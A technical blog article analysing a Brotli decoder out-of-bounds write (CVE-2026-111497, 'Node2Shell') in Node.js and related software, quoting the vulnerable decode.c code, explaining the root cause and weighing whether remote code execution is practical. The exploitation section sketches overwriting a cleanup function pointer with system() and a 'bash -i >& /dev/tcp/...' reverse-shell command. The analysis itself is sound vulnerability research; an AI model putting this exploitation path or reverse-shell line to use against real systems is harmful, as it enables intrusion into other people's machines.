Node2SHELL or HTTP2Shell (Brotli CVE-2026-111497) ?
CVE-2026-111497 : Brotli out-of-bounds write lead to remote code execution ?
Context
On October 21, 2026, security updates for NodeJs were published on the three currently maintained branches (22.23.4, 24.22.1, 26.12.1.). Among the 10 fixed vulnerabilities the CVE-2026-111497 has particularly worrying characteristics since it allows arbitrary code execution in the same way as Php2Shell which came out the same week (see the article on the subject).
Beyond the sensational side let's try to understand the technical workings of this vulnerability and its real exploitability.
Brotli is not a component specific to NodeJs. That's actually why the python, C++ lib associated with this technology, as well as Bun are also vulnerable. Same for software like curl/libcurl.
If it was first talked about as a NodeJs vulnerability it's probably because people wanted to place it in the line of PHP2Shell but it's actually a bit more complicated because we are comparing a vulnerability on a language (php2shell), to a vulnerability on a lib used by many languages (node2shell) natively in the case of NodeJs and Bun or only in some projects like in the case of python.
From there some articles started to talk about "HTTP2Shell" to describe the impact of the vulnerability. Not only it makes no sense because all of this has nothing to do with the http protocol but we are also starting to get tired of the "Randomsoftware2Shell" vulnerability series it would be nice to come up with something new. At best the term "Brotli2Shell" would be more correct but we will see that it's not that simple to get a shell from this.
What is Brotli
Brotli is a widely used compression library from Google. It's a way to make data smaller for storage or sending over the internet.
It's the implementation of a compression algorithm specifically optimized for web content like html/css/js (it will be much stronger than gzip on this specific task).
Example in python :
import brotli
html = b"""
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="utf-8"><title>Ma boutique</title>
</head>
<body>
<h1>a lot of html content</h1>
<h1>a lot of html content</h1>
<h1>a lot of html content</h1>
<h1>a lot of html content</h1>
<h1>a lot of html content</h1>
<h1>a lot of html content</h1>
<h1>a lot of html content</h1>
</body>
"""
compressed = brotli.compress(html, quality=11)
print(f"HTML original : {len(html):>6} bytes")
print(f"brotli q=11 : {len(compressed):>6} bytes")
decompressed = brotli.decompress(compressed)
# cry if the content is broken
assert decompressed == html
All of this works thanks to the concept of block switching. A Brotli stream is divided into "meta-blocks", which contain three types of data : literals (characters), commands (copy instructions) and distances (back references). Each of these types can be split into several "blocks" for better compression :
Let's take a tiny piece of HTML :
Brotli compresses it in two steps.
First, it removes repetitions. <br> and salut both appear twice, so Brotli writes them once and replaces the second occurrence with a reference to the first one. The data becomes a list of commands, each one saying "insert these new characters, then copy N bytes from D bytes back" :
literal , commands , distances
insert '<br>' , then copy 4 bytes , from 4 bytes back
insert 'salut ' , then copy 5 bytes , from 6 bytes back
The new characters (<br> and salut) are the literals, the copy instructions are the commands, and the "D bytes back" values are the distances. These are the three kinds of data mentioned above (this is very important to understand the vulnerability).
Each literal is turned into bits with a Huffman code (assigns variable-length binary codes to symbols based on their frequency). Instead of 8 bits per character, each character gets a short code. The fewer different characters a code has to handle, the shorter its codes.
Here we have 10 literals (the 4 characters of <br> and the 6 of salut, space included), all different. With a single code for all of them, we need 3 or 4 bits per character, so 34 bits in total.
This is where block switching comes in. Brotli can split the literals into blocks and give each block its own code. <br> only uses 4 different characters, so 2 bits each are enough. salut uses 6, so 2 or 3 bits each :
Block 1 (markup) : '<br>'
code : < = 00 b = 01 r = 10 > = 11
encoded : 00 01 10 11 (8 bits)
Block 2 (text) : 'salut '
code : s = 00 a = 01 l = 100 u = 101 t = 110 space = 111
encoded : 00 01 100 101 110 111 (16 bits)
*example generated by opus 5.5
24 bits instead of 34. On an input this small it's not worth it, since Brotli also has to store the two code tables. But a real HTML page keeps switching between markup and text, and there the gain adds up.
Commands and distances work the same way : each of the three kinds of data can be split into its own blocks, with its own codes.
Brotli decoding management
Brotli decodes in streaming. It does not wait to have the full response before starting. On the network, the HTTP response arrives in several packets, and at each received packet the program calls the decoder with these new bytes. A packet can therefore stop in the middle of a symbol (between the bits of a same data supposed to represent something unitary), the decoder reaches the end of the received data while the rest of the symbol has not arrived yet.
In this case, it saves its state and returns BROTLI_DECODER_NEEDS_MORE_INPUT. When the caller passes it the next packet, it resumes exactly where it stopped.
Checking at each read bit if there is remaining data is expensive. Brotli therefore has two versions of its reading functions :
-
The fast version : (ReadSymbol, ProcessCommands) reads without checking anything. It is only used if there are at least 28 bytes left to read in the received data (BROTLI_FAST_INPUT_SLACK). A command reads at most a few bits, so with this margin a symbol cannot be cut by the end of the data.
-
The Safe version : (SafeReadSymbol, SafeProcessCommands) takes over when there are less than 28 bytes left to read in the received data. It checks each read. If the data stops in the middle of a symbol (the rest is in the next packet, not yet arrived), it goes back to the beginning of that symbol and returns BROTLI_FALSE, which means "the received data is not enough, we need to wait for the rest". The decoder then responds BROTLI_DECODER_NEEDS_MORE_INPUT to the program, which will call it again with the next packet.
The bug on decode.c
The whole bug comes from this established convention : BROTLI_FALSE is supposed to mean that data is missing.
The problem comes from the function DecodeBlockTypeAndLength in the file c/dec/decode.c of the Brotli library. This function is responsible for reading and processing these block changes.
// c/dec/decode.c, just beffore fix (commit 0ed4268)
static BROTLI_INLINE BROTLI_BOOL DecodeBlockTypeAndLength(int safe, BrotliDecoderState* s, int tree_type) {
brotli_reg_t max_block_type = s->num_block_types[tree_type];
const HuffmanCode* type_tree = &s->block_type_trees[tree_type * BROTLI_HUFFMAN_MAX_SIZE_258];
const HuffmanCode* len_tree = &s->block_len_trees[tree_type * BROTLI_HUFFMAN_MAX_SIZE_26];
BrotliBitReader* br = &s->br;
brotli_reg_t* ringbuffer = &s->block_type_rb[tree_type * 2];
brotli_reg_t block_type;
if (max_block_type <= 1) {
return BROTLI_FALSE;
}
if (!safe) {
block_type = ReadSymbol(type_tree, br);
s->block_length[tree_type] = ReadBlockLength(len_tree, br);
} else {
BrotliBitReaderState memento;
BrotliBitReaderSaveState(br, &memento);
if (!SafeReadSymbol(type_tree, br, &block_type)) return BROTLI_FALSE;
if (!SafeReadBlockLength(s, &s->block_length[tree_type], len_tree, br)) {
s->substate_read_block_length = BROTLI_STATE_READ_BLOCK_LENGTH_NONE;
BrotliBitReaderRestoreState(br, &memento);
return BROTLI_FALSE;
}
}
if (block_type == 1) {
block_type = ringbuffer[1] + 1;
} else if (block_type == 0) {
block_type = ringbuffer[0];
} else {
block_type -= 2;
}
if (block_type >= max_block_type) {
block_type -= max_block_type;
}
ringbuffer[0] = ringbuffer[1];
ringbuffer[1] = block_type;
return BROTLI_TRUE;
}
// ...
static void BROTLI_NOINLINE DecodeLiteralBlockSwitch(BrotliDecoderState* s) {
DecodeLiteralBlockSwitchInternal(0, s);
}
We can see that the function returns BROTLI_FALSE in two cases that have nothing to do with each other.
if (max_block_type <= 1) { // if we receive a stream in a broken format
return BROTLI_FALSE;
}
...
// if data is missing to finish decoding the current symbol
// (this is the expected behavior)
if (!SafeReadSymbol(type_tree, br, &block_type)) return BROTLI_FALSE;
if (!SafeReadBlockLength(s, &s->block_length[tree_type], len_tree, br)) {
s->substate_read_block_length = BROTLI_STATE_READ_BLOCK_LENGTH_NONE;
BrotliBitReaderRestoreState(br, &memento);
return BROTLI_FALSE;
}
The fact that BROTLI_FALSE is returned when a stream in a format other than the one expected by the decoder is a bug and leads to making the rest believe that data is missing to finish decoding the current symbol.
This wrong return value is received by the macro that manages the safe/fast state :
#define BROTLI_SAFE(METHOD)
{
if (safe) {
if (!Safe##METHOD) {
result = BROTLI_DECODER_NEEDS_MORE_INPUT;
goto saveStateAndReturn;
}
} else {
METHOD;
}
}
In safe mode, the BROTLI_FALSE is taken as "data is missing". It's the wrong diagnosis, but the decoder stops and waits for the next packet.
In fast mode, however the return is ignored but that's where everything breaks. Because the rest of the function DecodeBlockTypeAndLength is not executed and it's this part that manages memory and its update.
Actually in safe mode the function DecodeBlockTypeAndLength stops at return BROTLI_FALSE but since the rest of the program considers that data is missing we restart on a new block and so the fact that memory management of the current block is not handled does not cause problems.
While in fast mode we stop at the same place but without restarting on a new block, and while it's the end of the function that does the work :
and most importantly the length of the new block (s->block_length[tree_type]) is never reloaded. When the block_length counter drops to 0, we start the next block. In normal times, the function reloads this counter with the size of the new block. Here, it exits before, the return is ignored, and the decoder moves on to CommandBegin as if nothing happened, with block_length still at 0.
On the next turn, block_length is still at 0, we call the function again, which exits immediately. The counter never restarts. The safety check that bounded the decoding is neutralized.
Exploitability
Going from a bug to arbitrary memory write
The bug we just described is not, by itself, a code execution. It's a state confusion that neutralizes a safety check and lets the decoder continue its work with a block counter at zero. To transform this logical blockage into a memory write primitive, we need to look at what the decoder does just after the premature exit point of DecodeBlockTypeAndLength :
Further, in ProcessCommands, the decoder uses this ring buffer to calculate copy distances "back-references" (as a reminder a Brotli command can say "copy N bytes from a distance D backwards, this is what its compression is based on") :
// c/dec/decode.c : ProcessCommandsInternal
memmove16(copy_dst, copy_src);
if (copy_src < copy_dst) {
if (copy_dst >= ringbuffer_end_minus_copy_length) {
goto CommandPostWrapCopy;
}
if (copy_src + i > copy_dst) {
goto postSelfintersecting;
}
} else {
if (copy_src >= ringbuffer_end_minus_copy_length) {
goto CommandPostWrapCopy;
}
if (copy_dst + i > copy_src) {
goto postSelfintersecting;
}
}
pos += i;
if (i > 16) {
if (i > 32) {
memcpy(copy_dst + 16, copy_src + 16, (size_t)(i - 16));
} else {
memmove16(copy_dst + 16, copy_src + 16);
}
}
The distance D is derived from the ring buffer and can be influenced by the attacker if the internal state is corrupted.
In the compiled code, the copy is implemented by a movdqu / movups type instruction (16 bytes movement, memcpy/memmove16). The source is the ring buffer (whose content is partially controlled by the Brotli stream literals), and the destination is calculated as :
movdqu (%r8), %xmm0 ; loads 16 bytes from the source (ring buffer)
movups %xmm0, (%rdi) ; writes 16 bytes to the destination
Where %rdi is equal to ring + displacement. The displacement is a signed 32-bit integer, also derived from the decoder state. In normal times, this displacement stays within the limits of the output buffer. With the corrupted state, it can point outside the buffer, towards an adjacent memory area.
The primitive is therefore : write of 16 controlled bytes (with the Brotli stream literals) to an address relative to the ring buffer, with a signed 32-bit displacement controllable to some extent.
Going from an arbitrary write to a reverse shell
To get a reverse shell, we need to transform this write into a control flow hijack. The problem is that the arbitrary space where we can write is too small to reach things like the RIP register and do a classic buffer overflow.
The goal is therefore to find a useful target at a reachable distance (within the 32-bit displacement range) and corrupt it to hijack the execution flow. The preferred targets are therefore function pointers or callbacks stored in data structures close to the ringbuffer in memory.
Somewhere in the Brotli decoder (at a reachable offset from the ring buffer), there is a small structure that looks like this :
struct DecoderCleanup {
void (*fn)(void* arg); // 8 bytes : which function to call at cleanup
void* arg; // 8 bytes : with which argument to call it
};
At cleanup time, the decoder simply does :
We can therefore write 16 controlled bytes at ring + displacement, and displacement is chosen to land exactly on DecoderCleanup. The exploit writes two fixed addresses (non-PIE binary) :
DecoderCleanup.fn = &system // executes a command
DecoderCleanup.arg = &"bash -i >& /dev/tcp/..." // the command
And that's where the real difficulties start precisely because it only works on a non-PIE binary and ASLR does not help. Hence the next chapter. To understand the context on memory protections in a bit more detail see my article on the subject.
Public PoC myth and reality
The problem is that unlike the PHP2Shell vulnerability we don't have a primitive that allows to leak memory. So impossible to bypass ASLR. The rare public PoCs of the vulnerability bruteforce this part but it remains uncertain (some just disable it). Also to reuse gadgets or known function addresses, the Node.js binary must be compiled without PIE (Position Independent Executable). The official Node.js builds are generally PIE, but some rare distributions or lab builds are not.
Finally in Node.js, the Brotli decoder often runs in a worker thread or in the main thread depending on the API. The heap layout and the presence of interesting structures within reach depend on the context.
All these conditions make the generalized exploitation of NodeJs applications for now very far away. It's more case by case on the software that uses it.
At the time I'm writing several PoCs and proofs of exploitation are claimed :
-
dimasma0305/CVE-2026-111497-POC : is real and documented, but with explicit limits. It does not claim that every Express instance is exploitable. It talks about three specific Linux x86-64 lab profiles, a probabilistic result, and strict conditions : fixed Node.js v24.22.0 binary, body-parser 2.4.0, a single libuv worker, socket fd 19, a restart supervisor, and ASLR bruteforce.
-
Imperva (Thales) : claimed a code execution on the official Node.js 24.22.0 Linux arm64 image, without debugger or instrumented binary, using fetch() or body-parser.
Some PoCs contest the RCE :
- ikow/brotli2crash : states that the vulnerable code path is structurally unreachable from any Brotli stream, valid or malformed. The argument is that the Brotli specification caps MLEN (metablock uncompressed length) at 2^24 = 16 777 216, exactly the value of BROTLI_BLOCK_SIZE_CAP, which is the initial block_length when NBLTYPES = 1. The trigger condition (block_length == 0 with NBLTYPES =< 1) can therefore never happen during stream processing. The metablock ends before the counter is exhausted. Their conclusion : the practical impact is a DoS (infinite CPU loop), not a RCE. They qualify the local RCE without ASLR as artificial, demonstrated only with a lowered BLOCK_SIZE_CAP or the --predictable option, and the remote RCE with ASLR as "not reachable".
Conclusion
There is therefore no consensus on the exploitability as RCE in real conditions. The most careful position is therefore the following : the bug is real, the DoS is certain, the memory corruption is demonstrable, but the RCE remains a probabilistic and contested lab demonstration, not a generalizable exploitation of Node.js applications in production.
Sources :
Node security release : https://nodejs.org/en/blog/vulnerability/october-2026-security-releases
aikido blog post : https://www.aikido.dev/blog/python-packages-vulnerable-node2shell-brotli-cve-2026-111497
broccoli2shell : https://broccoli2shell.com/
imperva blog post : https://www.imperva.com/blog/node2shell-from-brotli-data-to-remote-code-execution/
dimasma0305/CVE-2026-111497-POC : https://github.com/dimasma0305/CVE-2026-111497-POC
ikow/brotli2crash : https://github.com/ikow/brotli2crash